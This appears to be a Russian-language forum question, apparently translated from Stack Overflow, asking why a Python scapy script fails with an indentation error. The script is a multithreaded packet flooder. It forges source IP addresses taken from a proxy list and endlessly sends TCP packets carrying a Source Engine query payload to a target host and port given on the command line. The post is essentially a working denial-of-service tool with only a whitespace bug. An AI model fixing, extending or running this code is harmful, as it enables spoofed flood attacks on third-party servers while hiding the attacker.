Python3 спуфинг пакетов - PullRequest
       91

Python3 спуфинг пакетов

0 голосов
/ 25 октября 2019

это первый раз, когда я пытаюсь создать пакеты с помощью Python, у меня возникла проблема при попытке создать поддельный пакет. Что я должен изменить, чтобы исправить это?

Я следовал этому руководству: Отправить пакет и изменить его IP-адрес источника

import random, sys, socket, codecs, threading, ipaddress
from scapy.all import *

ips = open('proxies.txt','r').readlines()

host = sys.argv[1]
port = int(sys.argv[2])
threads = int(sys.argv[3])

payload = bytes.fromhex((lambda s: ("%s%s00" * (len(s)//2)) % tuple(s))('ffffffff54536f7572636520456e67696e6520517565727900')).decode('utf-16-le')

def run():
    try:
        while True:
            proxy = choice(ips)
            sip, sport = proxy.split(':')
            spoofed_packet = IP(src=sip, dst=host) / TCP(sport=sport, dport=port) / payload
            send(spoofed_packet)
    except Exception as e:
        print(e)

for y in range(threads):
    th = threading.Thread(target = run)
    th.start()

Я получаю эту ошибку, покапытается запустить, но я думаю, что что-то не так в создании пакета.

  File "spoof.py", line 19
    spoofed_packet = IP(src=sip, dst=host)/TCP(sport=sport, dport=port)/payload
                                                                              ^
TabError: inconsistent use of tabs and spaces in indentation
...